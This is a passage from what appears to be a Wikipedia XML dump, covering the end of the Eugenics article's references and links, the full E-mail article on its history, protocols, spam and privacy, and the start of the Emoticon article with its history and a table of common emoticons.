*[[Elof Axel Carlson]], ''The Unfit: A History of a Bad Idea'' (Cold Spring Harbor, New York: Cold Spring Harbor Press, 2001). ISBN 0879695870
*[[Michael Crichton]], ''State of Fear'', (New York: HarperCollins, 2004). ISBN 0066214130 (contains an appendix on eugenics, politics, and science in the US.)
*Nancy Ordover, ''American Eugenics: Race, Queer Anatomy, and the Science of Nationalism'' (Minneapolis: University of Minneapolis Press, 2003). ISBN 0816635595
*Tom Shakespeare, &quot;Back to the Future? New Genetics and Disabled People&quot;, ''Critical Social Policy'' 46:22-35 (1995)
* Wahlsten, D. (1997). Leilani Muir versus the Philosopher King: eugenics on trial in Alberta. ''Genetica'' '''99''': 185-198.

==External links==
{{commons|Eugenics}}
===Anti-eugenics and historical websites===

*[http://www.eugenicsarchive.org/eugenics/ Eugenics Archive - Historical Material on the Eugenics Movement] (funded by the [[Human Genome Project]])
*[http://www.africa2000.com/ENDX/aedata.htm Eugenics Watch]
*[http://www.shoaheducation.com/pNEW.html Shoaheducation.com:Eugenics]
*[http://cit.uvm.edu:6336/dynaweb/eugenics/@Generic__CollectionView;cs=default;ts=default;pt=eugenics Vermont Eugenics: A Documentary History]
*[http://www.healthsystem.virginia.edu/internet/library/historical/eugenics/index.cfm University of Virginia Historical Collections: Eugenics]
*[http://www.ushmm.org/museum/exhibit/online/deadlymedicine/ &quot;Deadly Medicine: Creating the Master Race&quot;] (United States Holocaust Memorial Museum exhibit)
*[http://www.pbs.org/wnet/dna/episode5/ DNA: Pandora's Box] - PBS documentary about DNA, the [[Human Genome Project]], and questions about a &quot;new&quot; eugenics
* [http://www.wfu.edu/~caron/ssrs/Dorr.rtf ''Fighting Fire with Fire:  African Americans and Hereditarian Thinking, 1900-1942''] - article on the support of eugenics by [[African American]] thinkers
* [http://personal.uncc.edu/jmarks/eugenics/eugenics.html &quot;Eugenics -- Breeding a Better Citizenry Through Science&quot;], a historical critique from physical anthropologist [[Jonathan Marks]]

===Pro-eugenics websites===
*[http://www.onelife.com/ethics/eugenics.html Eugenics - a planned evolution for life]
*[http://groups.yahoo.com/group/e-l/ The Eugenics List - Yahoo group]
*[http://www.eugenics.net Future Generations Eugenics Portal]
*[http://www.childrenofmillennium.org/eugenics.htm Millennium Eugenics Section]
*[http://www.mankindquarterly.com/ Mankind Quarterly]
*[http://www.whatwemaybe.org/ Future Human Evolution: Eugenics in the Twenty-First Century by John Glad]
*[http://www.euvolution.com Creative Conscious Evolution: A Eugenics Directory]
*[http://theoccidentalquarterly.com/vol4no1/toq-editnote4-1.html ''Scandalizing the Science of Eugenics''], editor's note, ''The Occidental Quarterly'' 4:1 (Spring 2004).

===Other===
*[http://query.nytimes.com/gst/fullpage.html?res=940DEED8113AF932A15754C0A9629C8B63&amp;sec=health&amp;pagewanted=1 &quot;As Gene Test Menu Grows, Who Gets to Choose?&quot;] Amy Harmon, ''New York Times'' ([[21 July]] [[2004]]).
&lt;!-- Categorization --&gt;
[[Category:Eugenics|*]]
[[Category:Bioethics]]
[[Category:Evolution]]
[[Category:Applied genetics]]
[[Category:Human evolution]]
[[Category:Utopian movements]]
[[Category:Race and intelligence controversy]]


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  <page>
    <title>E-mail</title>
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      <comment>/* External links */ remove Cyberspace infobox with internal links</comment>
      <text xml:space="preserve">:'''''Email''' redirects here. For the corporation, see [[Email (corporation)]].''

{{mergefrom|E-mail address}}

'''Electronic mail''', abreviated '''e-mail''' or '''email''', is a method of composing, sending, and receiving messages over [[electronics|electronic]] communication systems. The term e-mail applies both to the [[Internet]] e-mail system based on the [[Simple Mail Transfer Protocol]] (SMTP) and to [[intranet]] systems allowing users within one company or organization to send messages to each other. Often these workgroup collaboration systems natively use non-standard protocols but have some form of gateway to allow them to send and receive Internet e-mail.  Some organizations may use the Internet protocols for internal e-mail service.

== Origins of e-mail ==

E-mail predates the Internet; existing e-mail systems were a crucial tool in creating the Internet.

E-mail started in [[1965]] as a way for multiple users of a [[time-sharing]] [[mainframe computer]] to communicate. Although the exact history is murky, among the first systems to have such a facility were [[System Development Corporation|SDC]]'s [[Q32]] and [[Massachusetts Institute of Technology|MIT]]'s [[CTSS]].

E-mail was quickly extended to become ''network e-mail'', allowing users to pass messages between different computers. The early history of network e-mail is also murky; the [[AUTODIN]] system may have been the first allowing electronic text messages to be transferred between users on different computers in [[1966]], but it is possible the [[Semi Automatic Ground Environment|SAGE]] system had something similar some time before.

The [[ARPANET]] [[computer network]] made a large contribution to the evolution of e-mail. There is one report [http://www.multicians.org/thvv/mail-history.html] which indicates experimental inter-system e-mail transfers on it shortly  after its creation, in [[1969]]. [[Ray Tomlinson]] initiated the use of the [[@|@ sign]] to separate the names of the user and their machine in [[1971]] [http://openmap.bbn.com/~tomlinso/ray/firstemailframe.html]. The common report that he &quot;invented&quot; e-mail is an exaggeration, although his early e-mail programs [[SNDMSG]] and [[READMAIL]] were very important.  The first message sent by Ray Tomlinson is not preserved; it was &quot;a message announcing the availability of network email&quot;[http://openmap.bbn.com/~tomlinso/ray/firstemailframe.html]. The [[ARPANET]] significantly increased the popularity of e-mail, and it became the [[Killer application|killer app]] of the ARPANET.

== Growing popularity ==

As the utility and advantages of e-mail on the ARPANET became more widely known, the popularity of e-mail increased, leading to demand from people who were not allowed access to the ARPANET. A number of protocols were developed to deliver e-mail among groups of time-sharing computers over alternative transmission systems, such as [[UUCP]] and [[IBM]]'s [[VNET]] e-mail system.

Since not all [[computer]]s or [[computer network|networks]] were directly inter-networked, e-mail addresses had to include the &quot;route&quot; of the message, that is, a path between the computer of the sender and the computer of the receivers. E-mail could be passed this way between a number of networks, including the [[ARPANET]], [[Bitnet|BITNET]] and [[NSFNET]], as well as to hosts connected directly to other sites via UUCP.

The route was specified using so-call &quot;bang path&quot; addresses, specifying hops to get from some assumed-reachable location to the addressee, so called because each hop is signified by a &quot;bang sign&quot; (the [[exclamation mark]], '''!'''). Thus, for example, the path ...!bigsite!foovax!barbox!me directs people to route their mail to machine bigsite (presumably a well-known location accessible to everybody) and from there through the machine foovax to the account of user me on barbox.

Before auto-routing mailers became commonplace, people often published compound bang addresses using the { } convention (see [[glob]]) to give paths from several big machines, in the hopes that one's correspondent might be able to get mail to one of them reliably (example: ...!{seismo, ut-sally, ihnp4}!rice!beta!gamma!me). Bang paths of 8 to 10 hops were not uncommon in [[1981]]. Late-night dial-up UUCP links would cause week-long transmission times. Bang paths were often selected by both transmission time and reliability, as messages would often get lost.

E-mail became an increasingly important feature of work group collaboration products developed by
vendors such as [[Wang Laboratories|Wang]], [[Lotus Software|Lotus]], [[IBM]], and [[Microsoft]].  These systems often provided enhanced e-mail features (such as [[E-mail attachment|file attachments]], [[Rich Text Format]], and delivery confirmation), but only when sending e-mail to other users of the same system.  These systems communicated with other, non-like, systems via specialized [[e-mail gateway]]s which translated one vendor's (usually proprietary) e-mail format into a form understandable by another vendor.

The [[ITU-T|CCITT]] developed the [[X.400]] standard in the 1980s to allow different e-mail systems to interoperate.  Roughly at the same time, the [[IETF]] developed a much simpler protocol called the Simple Mail Transfer Protocol (SMTP) which has become the [[de facto]] standard for e-mail transfer on the Internet.  With the advent of widespread use of home personal computers connected to the Internet, interoperability via SMTP-based Internet e-mail has become a critical feature for all e-mail systems.  

In 1969 US Air Force users were sending text messages by keypunching cards with long text messages using one card for each 80 character line and transmitting them as card decks from one computer to another.  By 1979, US Air Force users were logging onto central computers and leaving messages for government contractors and other US Air Force users to read in special file areas where their replies were often received back within hours.  By the end of 1983 US Air Force users were using user names like alclark@vax1.mil to send e-mails between a nationwide linkup of VAX computers.  By 1984 these same users were using personal computers for same.

In 1982 the [[White House]] adopted a prototype e-mail system from IBM called the Professional Office System, or PROFs for the [[National Security Council]] (NSC) staff.  By April 1985, the system was fully operational within the NSC with home terminals for principals on the staff.  And by November of 1986 the rest of the White House came online, first with the PROFs system, and later (by the end of the 1980s) through a variety of systems including [[VAX]] A-1 (&quot;All in One&quot;), and [[ccmail]].

== Modern Internet e-mail ==

=== How Internet e-mail works ===

[[Image:How e-mail works.png|center|How e-mail works]]

The diagram above shows a stereotypical sequence of events that takes place when [[Alice and Bob|Alice]] sends an e-mail to [[Alice and Bob|Bob]].

# Alice composes a message using her [[E-mail client|mail user agent]] (MUA). She types in, or selects from an address book, the '''e-mail address''' of her correspondent. She hits the &quot;send&quot; button.  Her MUA formats the message in [[#Internet e-mail format|Internet e-mail format]] and uses the [[Simple Mail Transfer Protocol]] (SMTP) to send the message to the local [[mail transfer agent]] (MTA), in this case &lt;tt&gt;smtp.a.org&lt;/tt&gt;, run by Alice's [[Internet Service Provider]] (ISP).
# The MTA looks at the destination address provided in the SMTP protocol (not from the message header), in this case &lt;tt&gt;bob@b.org&lt;/tt&gt;. A modern Internet e-mail address is a string of the form &lt;tt&gt;localpart@domain.example&lt;/tt&gt;. The part before the @ sign is the '''local part''' of the address, often the [[username]] of the recipient, and the part after the @ sign is a [[domain name]]. The MTA looks up this domain name in the [[Domain Name System]] to find the [[mail exchange server]]s accepting messages for that domain.
# The [[DNS server]] for the &lt;tt&gt;b.org&lt;/tt&gt; domain, &lt;tt&gt;ns.b.org&lt;/tt&gt;, responds with an [[MX record]] listing the mail exchange servers for that domain, in this case &lt;tt&gt;mx.b.org&lt;/tt&gt;, a server run by Bob's ISP.
&lt;!--nitpick: dns requests almost always go via a dns server acting as a recursive resolver they are not made directly by the app (in this case the mta) that needs the information [[User:Plugwash|Plugwash]] 02:30, [[22 May]] [[2005]] (UTC)--&gt;
# &lt;tt&gt;smtp.a.org&lt;/tt&gt; sends the message to &lt;tt&gt;mx.b.org&lt;/tt&gt; using SMTP, which delivers it to the mailbox of the user &lt;tt&gt;bob&lt;/tt&gt;.
# Bob presses the &quot;get mail&quot; button in his MUA, which picks up the message using the [[Post Office Protocol]] (POP3).

This sequence of events applies to the majority of e-mail users. However, there are many alternative possibilities and complications to the e-mail system:

* Alice or Bob may use a client connected to a corporate e-mail system, such as [[IBM]]'s [[Lotus Notes]] or [[Microsoft]]'s [[Microsoft Exchange Server|Exchange]].  These systems often have their own internal e-mail format and their clients typically communicate with the e-mail server using a vendor-specific, proprietary, protocol.  The server sends or receives e-mail via the Internet through the product's Internet mail gateway which also does any necessary reformatting.  If Alice and Bob work for the same company, the entire transaction may happen completely within a single corporate e-mail system.
* Alice may not have a MUA on her computer but instead may connect to a [[webmail]] service.
* Alice's computer may run its own MTA, so avoiding the transfer at step 1.
* Bob may pick up his e-mail in many ways, for example using the [[Internet Message Access Protocol]], by logging into &lt;tt&gt;mx.b.org&lt;/tt&gt; and reading it directly, or by using a [[webmail]] service.
* Domains usually have several mail exchange servers so that they can continue to accept mail when the main mail exchange server is not available.

It used to be the case that many MTAs would accept messages for any recipient on the Internet and do their best to deliver them. Such MTAs are called ''[[open mail relay]]s''. This was important in the early days of the Internet when network connections were unreliable. If an MTA couldn't reach the destination, it could at least deliver it to a relay that was closer to the destination. The relay would have a better chance of delivering the message at a later time. However, this mechanism proved to be exploitable by people sending [[e-mail spam|unsolicited bulk e-mail]] and as a consequence very few modern MTAs are open mail relays, and many MTAs will not accept messages from open mail relays because such messages are very likely to be spam.

Note that the people, e-mail addresses and domain names in this explanation are fictional: see [[Alice and Bob|''Alice and Bob'']].

=== Internet e-mail format ===

The format of Internet e-mail messages is defined in RFC 2822 and a series of [[Request_for_Comments|RFCs]], RFC 2045 through RFC 2049, collectively called [[MIME|Multipurpose Internet Mail Extensions]] (MIME).  Although as of [[July 13]], [[2005]] (see [http://www.ietf.org/iesg/1rfc_index.txt]) RFC 2822 is technically a proposed IETF standard and the MIME RFCs are draft IETF standards, these documents are the de facto standards for the format of Internet e-mail.  Prior to the introduction of RFC 2822 in 2001 the format described by RFC 822 was the de facto standard for Internet e-mail for nearly two decades; it is still the official IETF standard.  The IETF reserved the numbers 2821 and 2822 for the updated versions of RFC 821 (SMTP) and RFC 822, honoring the extreme importance of these two RFCs.  RFC 822 was published in 1982 and based on the earlier RFC 733.

Internet e-mail messages consist of two major sections:

* Header - Structured into fields such as summary, sender, receiver, and other information about the e-mail
* Body - The message itself as unstructured text; sometimes containing a [[signature block]] at the end

The header is separated from the body by a blank line.

==== Internet e-mail header ====

The message header consists of fields. Each header field has a name and a value.  RFC 2822 specifies the precise syntax.  Informally, the field name starts in the first character of a line, followed by a &quot;:&quot;, followed by the value which is continued on non-null subsequent lines that have a space or tab as their first character.  Field names and values are restricted to 7-bit [[ASCII]] characters.  Non-ASCII values may be represented using MIME [[MIME#Encoded-Word|encoded words]].  Messages usually have at least four fields in the header:

# From: The e-mail address, and optionally name, of the sender of the message
# To: The e-mail addresses, and optionally names, of the receiver of the message
# Subject: A brief summary of the contents of the message
# Date: The local time and date when the message was originally sent

Note however that the &quot;To&quot; field in the header is not necessarily related to the addresses to which the e-mail is delivered. The actual delivery list is supplied in the SMTP protocol, not extracted from the header content.  The &quot;To&quot; field is similar to the greeting at the top of a conventional letter which is delivered according to the address on the outer envelope.  Also note that the &quot;From&quot; field does not have to be the real sender of the e-mail. It is very easy to fake the &quot;From&quot; field and let an e-mail seem to be from any mail address. It is possible to [[Digital signature|digitally sign]] an e-mail, which is much harder to fake. Some [[Internet service provider|Internet service providers]] do not relay e-mails claiming to come from a domain not hosted by them, but very few (if any) check to make sure that the person or even e-mail address named in the &quot;From&quot; field is the one associated with the connection.

Other common header fields include:

# Cc: [[Carbon copy]] (because [[typewriter]]s use [[carbon paper]] to make copies of letters)
# Received: Tracking information generated by mail servers that have previously handled a message
# Content-Type: Information about how the message has to be displayed, usually a [[MIME]] type

Many e-mail clients present &quot;Bcc&quot; (Blind carbon copy, recipients not visible in the &quot;To&quot; field) as a header field.  Since the entire header is visible to all recipients, &quot;Bcc&quot; is not included in the message header.  Addresses added as &quot;Bcc&quot; are only added to the SMTP delivery list, and do not get included in the message data.

==== E-mail content encoding ====

E-mail was only designed for 7-bit [[ASCII]]. While a lot of e-mail software was in fact 8-bit clean this couldn't be relied upon on open interchange. The [[MIME]] standard introduced charset specifiers and two content transfer encodings to encode 8 bit data for transmission: [[quoted printable]] for mostly 7 bit content with a few characters outside that range  and [[base64]] for arbitrary binary data. The [[8BITMIME]] extension was introduced to allow transmission of mail without the need for these encodings but many mail transport agents still don't support it fully, possibly due to the complication of having to do content transformations when forwarding to a mailserver that doesn't support it.

=== Saved Message Extension ===

Different applications save e-mail files with different file extensions. .

* .eml
This is used by [[Outlook Express]], and is the default e-mail extension for [[Mozilla Thunderbird]].
* .emlx
Used by [[Apple Mail]]

== Messages and mailboxes ==

Messages are exchanged between hosts using the [[SMTP|Simple Mail Transfer Protocol]] with software like [[Sendmail]]. Users download their messages from servers usually with either the [[Post Office Protocol|POP]] or [[IMAP]] protocols, though in a large [[corporate]] environment users are likely to use some [[proprietary]] protocol such as [[Lotus Notes]] or [[Microsoft Exchange Server]]'s.

Mails can be stored either on the [[client (computing)|client]] or on the [[server]] side. Standard formats for mailboxes include [[Maildir]] and [[mbox]]. Several prominent e-mail clients use their own, proprietary format, and require conversion software to transfer e-mail between them.

When a message cannot be delivered, the recipient MTA must send a [[bounce message]] back to the sender, indicating the problem.

== Spamming and e-mail worms ==

The usefulness of e-mail is being threatened by three phenomena, [[E-mail spam|spamming]], [[phishing]] and [[e-mail worm]]s. 

Spamming is unsolicited commercial e-mail. Because of the very low cost of sending e-mail, spammers can send hundreds of millions of e-mail messages each day over an inexpensive Internet connection. Hundreds of active spammers sending this volume of mail results in [[information overload]] for many computer users who receive tens or even hundreds of junk e-mails each day.

E-mail worms use e-mail as a way of replicating themselves into vulnerable computers. Although the first e-mail worm affected early UNIX computers, this problem is today almost entirely confined to the [[Microsoft Windows]] operating system.

The combination of spam and worm programs results in users receiving a constant drizzle of junk e-mail, which reduces the usefulness of e-mail as a practical tool.

A number of [[stopping e-mail abuse|technology-based initiatives]] mitigate the impact of spam. In the [[United States]], [[Congress of the United States|U.S. Congress]] has also passed a law, the [[Can Spam Act of 2003]], attempting to regulate such e-mail.

== Privacy problems regarding e-mail ==

{{main|e-mail privacy}}

E-mail privacy, without some security precautions, can be compromised because

* e-mail messages are generally not encrypted;
* e-mail messages have to go through intermediate computers before reaching their destination, meaning it is relatively easy for others to intercept and read messages;
* many Internet Service Providers (ISP) store copies of your e-mail messages on their mail servers before they are delivered. The backups of these can remain up to several months on their server, even if you delete them in your mailbox.

There are [[cryptography]] applications that can serve as a remedy to the above, such as [[Virtual Private Network]]s, message encryption using [[Pretty Good Privacy|PGP]] or the [[GNU Privacy Guard]], encrypted communications with the e-mail servers using [[Transport Layer Security]] and Secure Sockets Layer, and/or encrypted authentication schemes such as [[Simple Authentication and Security Layer]].

== See also ==

* [[E-mail art]]
* E-mail social issues: 
** [[Netiquette]]
** [[Information overload]]
** [[Internet humor]]
** [[Internet slang]]
** [[Spam (electronic)|Spam]]
** [[Stopping e-mail abuse]]
** [[Bounce Address Tag Validation]] (BATV)
** [[Computer virus]]
* Clients and servers:
** [[E-mail client]]
** [[Mail transfer agent]]
** [[Webmail]] / [[HTMLmail]]
** [[Branded e-mail]]
** [[Unicode and e-mail]]
* Mailing list: 
** [[Electronic mailing list]]
** [[Mailing list archive]]
* [[E-mail address]]
* [[E-card]]
* [[Internet mail standard]]s
* Free e-mail services/[[webmail]]:
** [[Hotmail]]
** [[Yahoo! Mail]]
** [[Gmail]]
** [[Temporary hosting]]
* [[Uniform Resource Identifier]]
* Alternative protocols and projects
** [[Trust-forum]]
** [[Internet Mail 2000]]

== Further reading ==

* Katie Hafner, Matthew Lyon, ''Where Wizards Stay Up Late: The Origins of the Internet'' (Simon and Schuster, 1996) also covers the early history of e-mail

* Abdullah, M. H. (1998). &quot;Electronic discourse: Evolving conventions in online academic environments&quot;. Bloomington, IN: ERIC Clearinghouse on Reading, English, and Communication. [ED 422 593]

* Abras, C. (2002) The principle of relevance and metamessages in online discourse: Electronic exchanges in a graduate course. Language, &quot;Literacy and Culture Review&quot; 1(2), 39-53.

* Biesenbach-Lucas, S. &amp; Wiesenforth, D. (2001). E-mail and word processing in the ESL classroom: How the medium affects the message. &quot;Language Learning and Technology&quot;, 5 (1), 135-165. [EJ 621 506]

* Danet, B. (2001). Cyberplay: Communicating online. Oxford: Berg Publishing. 

== References ==

{{FOLDOC}}

== External links ==

* [[SourceForge]]'s database of [http://sourceforge.net/softwaremap/trove_list.php?form_cat=28 free e-mail software]
* [http://openmap.bbn.com/%7Etomlinso/ray/firstemailframe.html The First Network Email]
* M. A. Padlipsky, ''[http://www.lafn.org/~ba213/allnight.html And They Argued All Night...]'' is an alternative personal recollection of the origins of network e-mail
* [http://www.sciencedirect.com/science/article/B6VB4-4F0GR6R-1/2/6e8130c8b281029598bc40fe5934fdaf E-mail training significantly reduces e-mail defects] — from International Journal of Information Management 
* [http://www.guardian.co.uk/uk_news/story/0,3604,1465950,00.html Guardian.co.uk] — 'Emails &quot;pose threat to IQ&quot;', Martin Wainwright, ''The Guardian'' ([[April 22]] [[2005]])
* [http://www.multicians.org/thvv/mail-history.html The History of Electronic Mail] is a personal memoir by the implementer of one of the first e-mail systems
* [http://www.windowsecurity.com/articles/Encrypting-Your-E-mail.html Is it Time to Start Encrypting Your E-mail?] — discusses the pros and cons of e-mail encryption
* [http://www.cyberbullying.us Cyberbullying News, Research, and Resources]
* [http://people.smu.edu/acambre/html_email_is_good.asp Commentary in favor of HTML-enhanced e-mail]
* [http://mailformat.dan.info/ Dan's Mail Format Site] — information about formatting e-mail messages.

[[Category:Digital Revolution]]
[[Category:E-mail| ]]
[[Category:Internet terminology]]

[[af:Elektroniese pos]]
[[bs:Email]]
[[ca:Correu electrònic]]
[[cs:E-mail]]
[[da:E-mail]]
[[de:E-Mail]]
[[es:Correo electrónico]]
[[eo:Retpoŝto]]
[[fa:پست الکترونیکی]]
[[fr:Courrier électronique]]
[[ga:Ríomhphost]]
[[gl:Correo electrónico]]
[[ko:전자 우편]]
[[id:Surat elektronik]]
[[is:Tölvupóstur]]
[[it:E-mail]]
[[he:דואר אלקטרוני]]
[[ku:E-name]]
[[lv:Elektroniskais pasts]]
[[lt:Elektroninis paštas]]
[[hu:E-mail]]
[[mk:Електронско писмо]]
[[nl:E-mail]]
[[nds:Nettbreef]]
[[ja:電子メール]]
[[no:E-post]]
[[pl:Poczta elektroniczna]]
[[pt:E-mail]]
[[ro:E-mail]]
[[rm:E-mail]]
[[ru:Электронная почта]]
[[simple:E-mail]]
[[sk:E-mail]]
[[sl:Elektronska pošta]]
[[sr:E-mail]]
[[su:Surélék]]
[[fi:Sähköposti]]
[[sv:E-post]]
[[tl:Elektronikong liham]]
[[ta:மின்னஞ்சல்]]
[[th:อีเมล]]
[[vi:Thư điện tử]]
[[tr:Elektronik posta]]
[[uk:Електронна пошта]]
[[wa:Emile]]
[[yi:בליצבריוו]]
[[zh:电子邮件]]</text>
    </revision>
  </page>
  <page>
    <title>Emoticon</title>
    <id>9739</id>
    <revision>
      <id>42152262</id>
      <timestamp>2006-03-04T04:05:04Z</timestamp>
      <contributor>
        <username>Garrett</username>
        <id>55180</id>
      </contributor>
      <minor />
      <comment>/* Basic examples */ wasn't added to the table, and there's already an entry for it</comment>
      <text xml:space="preserve">An '''emoticon''', sometimes called a '''[[smiley]]''', is a sequence of printable characters such as &lt;tt&gt;:)&lt;/tt&gt;, &lt;tt&gt;^_^&lt;/tt&gt;, or &lt;tt&gt;:-)&lt;/tt&gt; or a small image that is intended to represent a human [[facial expression]] and convey an [[emotion]].highlighter makes skin. Emoticons are a form of [[paralanguage]] commonly used in [[e-mail]] messages, in [[bulletin board system|online bulletin boards]], [[instant messengers]], or in [[Internet chat room|chat rooms]]. The word ''emoticon'' is a [[portmanteau]] which popular etymology bases on ''emotion'' and ''[[icon]]''. In truth, the second element is ''con'', short for ''[[console]]'', not ''icon''.

A similar portmanteau, '''verticon''' (based on ''[[vertical]]'' and ''icon''), is sometimes used when referring to the [[#East Asian style|East Asian style]] of emoticon.

{{wiktionarypar|emoticon}}
==History== 

=== Background ===
In [[1963]] the ''[[smiley]] face'', a yellow button with a smile and two dots representing eyes, was invented by freelance artist [[Harvey Ball]]. This smiley presumably inspired later emoticons; the most basic [http://www.msnemoticons.org emoticon image] is a small yellow smiley face.

The earliest known non-[[ASCII]] emoticons were used in the [[PLATO System|PLATO IV]] program as early as [[1972]], which allowed users to type multiple text characters &quot;on top&quot; of each other. Many combinations of ordinary text characters were known to produce face-like patterns, which were used as emoticons.

Several sites on the [[World Wide Web]] (such as [http://www.connected-earth.com/Journeys/Frombuttonstobytes/ComputerNetworks/Thegrowthofe-mail/Firstemoticon/firstemoticon(1979).htm Connected Earth]) assert that Kevin Mackenzie proposed &lt;tt&gt;-)&lt;/tt&gt; as a joke-marker in April [[1979]], on a message board called ''MsgGroup''.  The idea was to indicate that a message was intended tongue-in-cheek — the [[hyphen]] was a tongue, not a nose.  Although it has two out of the three characters of the smiley, its intended interpretation was different and it doesn't appear to have inspired the later smileys.

Every issue of the British fashion magazine [[i-D]], founded in [[1980]], has featured a cover model with a winking right eye (or sometimes obscured in a different way).

=== Creation of :-) ===
The creator of the original [[ASCII]] emoticons &lt;tt&gt;:-)&lt;/tt&gt; and &lt;tt&gt;:-(&lt;/tt&gt;, with a specific suggestion that they be used to express emotion, was [[Scott Fahlman]]; the original proposal made by Fahlman on [[Carnegie Mellon University]] CS general board on [[September 19]], [[1982]] (at 11:44&lt;!-- local time? --&gt;) was retrieved from old backup tapes on [[September 10]], [[2002]], by [[Jeff Baird]]. See [http://www.cs.cmu.edu/~sef/Orig-Smiley.htm Fahlman's website] for a full account of the thread. &lt;!-- is this sentence necessary? --&gt;

 19-Sep-82 11:44    Scott E  Fahlman             :-)
 From: Scott E  Fahlman &amp;lt;Fahlman at Cmu-20c&gt;
 
 I propose that the following character sequence [be used] for joke markers:
 
  :-) 
 
 Read it sideways.  Actually, it is probably more economical to mark
 things that are NOT jokes, given current trends.  For this, use
 
  :-(

=== Internet usage ===
In [[Internet forum]]s, text emoticons are often automatically replaced with small corresponding images, which came to be called ''emoticons'' as well.  In some versions of [[Microsoft Word]], the Auto Correct feature recognizes basic smiles such as &lt;tt&gt;:)&lt;/tt&gt; and &lt;tt&gt;:(&lt;/tt&gt;. Many popular [[instant messaging|instant-messaging]] (IM) tools perform such replacement automatically when receiving a message. Originally, these image emoticons were fairly simple and replaced only the most straightforward and common text strings, but over time they became so complex that the more specialized emoticons are often input using a menu of sometimes hundreds of emoticons. Often these menus go beyond the realm of emoticons and also have other objects such as musical instruments and can sometimes make sounds upon receiving the message. 

An [[August 2004]] issue of the ''Risks Digest'' (''comp.risks'' on [[USENET]]) pointed out a problem with such features which are not under the sender's control:
:It's hard to know in advance what character-strings will be parsed into what kind of unintended image.  A colleague was discussing his 401(k) plan with his boss, who happens to be female, via instant messaging.  He discovered, to his horror, that the boss's instant-messaging client was rendering the &quot;(k)&quot; as a big pair of red smoochy lips. [http://catless.ncl.ac.uk/Risks/23.48.html#subj5]

In many online computer games, emoticons are commonly used.

==Purposes==

Emoticons have developed over the years as a replacement for facial expressions and other emotional cues lacking in text-only communication; the goal is to avoid misunderstandings due to the lack of contextual information. Many books have been written on this subject, with voluminous listings of emoticons. 

==Western style==

Traditionally, the emoticon in Western style is written from left to right, the way one reads and writes in most Western cultures. Thus, most commonly, you'll see the eyes on the left, followed by the nose and mouth. To more easily recognise them, tilt your head towards your left shoulder (or occasionally towards your right shoulder if the &quot;top&quot; of the emoticon is towards the right).

The smile is represented with a basic smiley &lt;tt&gt;:-)&lt;/tt&gt;. The [[colon (punctuation)|colon]] represents the eyes, the [[hyphen]] is for the nose, and the [[parenthesis]] is for the mouth.

Many variants exist with different symbols substituted for the basic ones.  The symbol for the nose is often omitted, for example &lt;tt&gt;:)&lt;/tt&gt; or &lt;tt&gt;;)&lt;/tt&gt;. When the colon is replaced with the equals sign, &lt;tt&gt;=)&lt;/tt&gt;, the nose is almost always omitted (so one would not see &lt;tt&gt;=-)&lt;/tt&gt;, for example).

===Basic examples===

The following examples all use a consistent form, but each of them can also be transformed by being rotated, having the hyphen omitted, and/or by replacing the eyes symbol. An equal sign is often used for the eyes in place of the colon, without changing the meaning of the emoticon. In these instances, the hyphen is almost always either omitted or, occasionally, replaced with an 'o' as in =o).  Lately it has become common to omit the hyphen, whether a colon or an equal sign is used for the eyes [http://denoser.sourceforge.net/].
&lt;!--Note to editors: This list should be kept fairly short. It is not meant to be comprehensive. Please think carefully before adding your favorite emoticon.--&gt;

{| cellpadding=2
|-
| align=&quot;center&quot; | :) ''or'' :-) || smile
|-
| align=&quot;center&quot; | X-P ''or'' X-p || knocked out or dead
|-
| align=&quot;center&quot; | :-] || polite smile, or sometimes a complimented blush
|-
| align=&quot;center&quot; | :-( ''or'' :-&lt;|| frown
|-
| align=&quot;center&quot; | :-[ || another frown, or sometimes an embarassed blush
|-
| align=&quot;center&quot; | :-/ ''or'' :-\ || skepticism, annoyance, uneasiness, or a slight frown
|-
| align=&quot;center&quot; | :-| || indecision, deadpan, a lack of response, or indifference; also often used with a contrasting statement to convey biting sarcasm (e.g. &quot;That was hilarious! &lt;nowiki&gt;:-|&lt;/nowiki&gt;&quot;)
|-
| align=&quot;center&quot; | ;-) ''or'' !-) ''or'' ;-p || wink
|-
| align=&quot;center&quot; | :-D || wide grin
|-
| align=&quot;center&quot; | :-P ''or'' :-p ''or'' :-þ || tongue sticking out; used to convey a joke, light-hearted sarcasm, inappropriateness, or a light hearted groan, as in &quot;Ugh&quot;. Many users still interpret this as a raspberry-sound, especially long-time users of emoticons.
|-
| align=&quot;center&quot; | B-) ''or'' 8-) || wearing glasses (usually interpreted as sunglasses)
|-
| align=&quot;center&quot; | :-o ''or'' :-O ''or'' :-0 || surprise
|-
| align=&quot;center&quot; | :-s ''or'' :-S || confusion
|-
| align=&quot;center&quot; | :-8 ''or'' :-B || buck teeth
|-
| align=&quot;center&quot; | :-x || sealed lips; used to convey &quot;I shouldn't have said that&quot; or sometimes shocked silence 
|-
| align=&quot;center&quot; | :'-( ''or'' :_( ''or'' :*( ''or'' :…( ''or'' ;_; || shedding a tear
|-
| align=&quot;center&quot; | :o) || clown face, can mean [[tongue in cheek]]
|-
| align=&quot;center&quot; | &gt;:-) ''or'' }:-)|| eyebrows or horns; evil, being mean, a [[devil]]
|-
| align=&quot;center&quot; | 0:-) || halo over the head, an angel, innocence
|-
| align=&quot;center&quot; | XD || childish laugh
|-
| align=&quot;center&quot; | D-: || horror (read right to left)
|-
| align=&quot;center&quot; | :3 || cat face, or the &quot;aw&quot; face. 
|-
| align=&quot;center&quot; | :V || mouth opened comically wide (in some communities, e.g. [[Ragnarok Online]], it is considered a duck)
|-
| align=&quot;center&quot; | :-t || angry
|-
| align=&quot;center&quot; | :-&gt; || grin
|-
| align=&quot;center&quot; | :*) || blush; (sometimes used to illustrate &quot;drunk&quot;)
|-
| align=&quot;center&quot; | :-)* || kiss 2
|-
| align=&quot;center&quot; | :^o || liar liar
|-
| align=&quot;center&quot; | :-&amp; || tongue-tied
|-
| align=&quot;center&quot; | :-{D || mustache
|-
| align=&quot;center&quot; | &gt;:o~ || Angry; drooling (frothing at mouth with anger)
|-
| align=&quot;center&quot; | ;( || Sad wink/Crying
|}

===Variants===

There are endless possibilities, because people are very good at creating and interpreting pictures as faces. See [[ASCII art]].

Some variants are also more common in certain countries because of reasons like [[keyboard layout]]s, for example the smiley &lt;tt&gt; =) &lt;/tt&gt; is common in [[Scandinavia]] and [[Finland]] where the keys for &lt;tt&gt; = &lt;/tt&gt; and &lt;tt&gt; ) &lt;/tt&gt; are placed right beside each other and both need the use of the [[shift key]].

Adding }}} before an emoticon converts it into a [[Klingon]].  e.g. }}};-) A winking Klingon.

